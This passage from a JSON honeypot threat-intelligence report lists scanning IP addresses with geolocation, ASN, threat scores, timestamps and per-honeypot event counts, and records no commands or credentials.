        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 119022,
        "days_active_30d": 1,
        "ports_targeted_30d": 65600,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-08T09:06:42+00:00",
        "last_seen_30d": "2026-05-08T09:19:04.614000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105711,
        "Honeytrap": 13262,
        "Mailoney": 12,
        "Dionaea": 11,
        "ConPot": 9,
        "Cowrie": 3,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "103.115.24.65": {
      "attack_count": 2,
      "first_seen": "2026-05-04T02:03:36.755Z",
      "last_seen": "2026-05-04T02:03:50.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Chittagong",
      "asn": 137823,
      "as_org": "cloudone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T02:03:36.755000+00:00",
        "last_seen_30d": "2026-05-04T02:04:52.065000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.112.218.128": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:47:16.123Z",
      "last_seen": "2026-05-23T05:47:46.237Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:47:16.123000+00:00",
        "last_seen_30d": "2026-05-23T05:48:57.745000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.78.8": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:29:53.332Z",
      "last_seen": "2026-05-19T06:30:06.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:29:53.332000+00:00",
        "last_seen_30d": "2026-05-19T06:31:16.604000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.204.1.155": {
      "attack_count": 2,
      "first_seen": "2026-05-08T03:11:17.184Z",
      "last_seen": "2026-05-08T03:11:29.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:11:17.184000+00:00",
        "last_seen_30d": "2026-05-08T03:12:34.204000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.170.180.125": {
      "attack_count": 2,
      "first_seen": "2026-05-21T05:19:55.769Z",
      "last_seen": "2026-05-21T05:20:08.140Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:19:55.769000+00:00",
        "last_seen_30d": "2026-05-21T05:21:16.620000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.119.32.72": {
      "attack_count": 2,
      "first_seen": "2026-05-13T15:42:18.951Z",
      "last_seen": "2026-05-13T15:42:32.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T15:42:18.951000+00:00",
        "last_seen_30d": "2026-05-13T15:43:34.910000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.201.48.168": {
      "attack_count": 2,
      "first_seen": "2026-05-11T20:02:30.542Z",
      "last_seen": "2026-05-11T20:02:43.691Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mogi das Cruzes",
      "asn": 269348,
      "as_org": "REDES METRO",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:02:30.542000+00:00",
        "last_seen_30d": "2026-05-11T20:03:50.713000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "142.93.105.218": {
      "attack_count": 2,
      "first_seen": "2026-05-27T02:40:44.492Z",
      "last_seen": "2026-05-27T02:41:04.787Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 69.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 14.2,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 17,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-14T08:42:51+00:00",
        "last_seen_30d": "2026-05-30T17:02:32.053000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 44,
        "Honeytrap": 21,
        "Cowrie": 2,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "147.185.132.207": {
      "attack_count": 2,
      "first_seen": "2026-05-09T23:18:26.630Z",
      "last_seen": "2026-05-09T23:18:26.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.2,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 27,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-04T18:34:39+00:00",
        "last_seen_30d": "2026-05-30T18:28:45.589000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 15,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "152.59.62.250": {
      "attack_count": 2,
      "first_seen": "2026-05-09T11:47:11.657Z",
      "last_seen": "2026-05-09T11:47:26.557Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T11:47:11.657000+00:00",
        "last_seen_30d": "2026-05-09T11:48:32.568000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.59.86.53": {
      "attack_count": 2,
      "first_seen": "2026-05-17T05:46:24.513Z",
      "last_seen": "2026-05-17T05:46:40.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Ludhiana",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T05:46:24.513000+00:00",
        "last_seen_30d": "2026-05-17T05:47:46.576000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.18.61.198": {
      "attack_count": 2,
      "first_seen": "2026-05-02T23:58:41.554Z",
      "last_seen": "2026-05-03T00:00:41.555Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Pasto",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:58:41.554000+00:00",
        "last_seen_30d": "2026-05-03T00:11:21.240000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "169.224.26.55": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:32:57.884Z",
      "last_seen": "2026-05-06T20:33:12.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:32:57.884000+00:00",
        "last_seen_30d": "2026-05-06T20:34:16.464000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.246.157.248": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:46:15.621Z",
      "last_seen": "2026-05-19T21:46:27.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Costa Rica",
      "country_code": "CR",
      "city": "San Jos\u00e9",
      "asn": 52263,
      "as_org": "Telecable Economico S.A.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:46:15.621000+00:00",
        "last_seen_30d": "2026-05-19T21:47:29.346000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "173.16.37.194": {
      "attack_count": 2,
      "first_seen": "2026-05-25T17:25:52.319Z",
      "last_seen": "2026-05-25T17:26:06.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Moline",
      "asn": 30036,
      "as_org": "Mediacom Communications Corp",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T17:25:52.319000+00:00",
        "last_seen_30d": "2026-05-25T17:27:12.441000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.20.157.2": {
      "attack_count": 2,
      "first_seen": "2026-05-13T09:20:26.888Z",
      "last_seen": "2026-05-13T09:20:39.227Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Hastings",
      "asn": 48101,
      "as_org": "Trooli Ltd.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T09:20:26.888000+00:00",
        "last_seen_30d": "2026-05-13T09:21:43.976000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.89": {
      "attack_count": 2,
      "first_seen": "2026-05-22T13:51:41.484Z",
      "last_seen": "2026-05-22T13:51:41.485Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 4.2,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 5,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:05:09.200000+00:00",
        "last_seen_30d": "2026-05-26T03:48:20.553000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "177.107.106.50": {
      "attack_count": 2,
      "first_seen": "2026-05-14T21:19:51.591Z",
      "last_seen": "2026-05-14T21:20:04.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Currais Novos",
      "asn": 262323,
      "as_org": "STAR CONECT TELECOM LTDA",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:19:51.591000+00:00",
        "last_seen_30d": "2026-05-14T21:21:07.219000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.61.231.154": {
      "attack_count": 2,
      "first_seen": "2026-05-02T05:27:27.024Z",
      "last_seen": "2026-05-02T05:27:40.574Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 265867,
      "as_org": "Trans Ocean Network",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:27:27.024000+00:00",
        "last_seen_30d": "2026-05-02T05:28:45.786000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.151.84.222": {
      "attack_count": 2,
      "first_seen": "2026-05-30T01:46:52.023Z",
      "last_seen": "2026-05-30T01:47:05.158Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:46:52.023000+00:00",
        "last_seen_30d": "2026-05-30T01:48:09.209000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.157.57.43": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:44:12.989Z",
      "last_seen": "2026-05-11T18:44:26.117Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:44:12.989000+00:00",
        "last_seen_30d": "2026-05-11T18:45:26.836000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.112.105.97": {
      "attack_count": 2,
      "first_seen": "2026-05-09T02:28:08.809Z",
      "last_seen": "2026-05-09T02:28:40.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:28:08.809000+00:00",
        "last_seen_30d": "2026-05-09T02:29:44.580000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "197.232.249.218": {
      "attack_count": 2,
      "first_seen": "2026-05-25T16:34:20.791Z",
      "last_seen": "2026-05-25T16:34:35.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 36866,
      "as_org": "JTL",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T16:34:20.791000+00:00",
        "last_seen_30d": "2026-05-25T16:35:42.936000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.113.5.147": {
      "attack_count": 2,
      "first_seen": "2026-05-14T11:10:43.510Z",
      "last_seen": "2026-05-14T11:10:56.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Rancagua",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T11:10:43.510000+00:00",
        "last_seen_30d": "2026-05-14T11:12:05.947000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.124.128.46": {
      "attack_count": 2,
      "first_seen": "2026-05-14T20:03:44.625Z",
      "last_seen": "2026-05-14T20:03:57.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuauht\u00e9moc",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:03:44.625000+00:00",
        "last_seen_30d": "2026-05-14T20:05:07.872000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.135.33.204": {
      "attack_count": 2,
      "first_seen": "2026-05-04T16:12:26.881Z",
      "last_seen": "2026-05-04T16:12:44.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:12:26.881000+00:00",
        "last_seen_30d": "2026-05-04T16:13:50.680000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.172.109.4": {
      "attack_count": 2,
      "first_seen": "2026-05-07T23:08:41.933Z",
      "last_seen": "2026-05-07T23:08:54.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Caucete",
      "asn": 267804,
      "as_org": "MORAN DOLORES GRACIELA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T23:08:41.933000+00:00",
        "last_seen_30d": "2026-05-07T23:10:00.385000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.149.254": {
      "attack_count": 2,
      "first_seen": "2026-05-21T05:10:37.751Z",
      "last_seen": "2026-05-21T05:12:37.756Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 268372,
      "as_org": "WISESITE COMUNICACAO E TECNOLOGIA",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T05:10:37.751000+00:00",
        "last_seen_30d": "2026-05-21T05:14:12.616000+00:00",
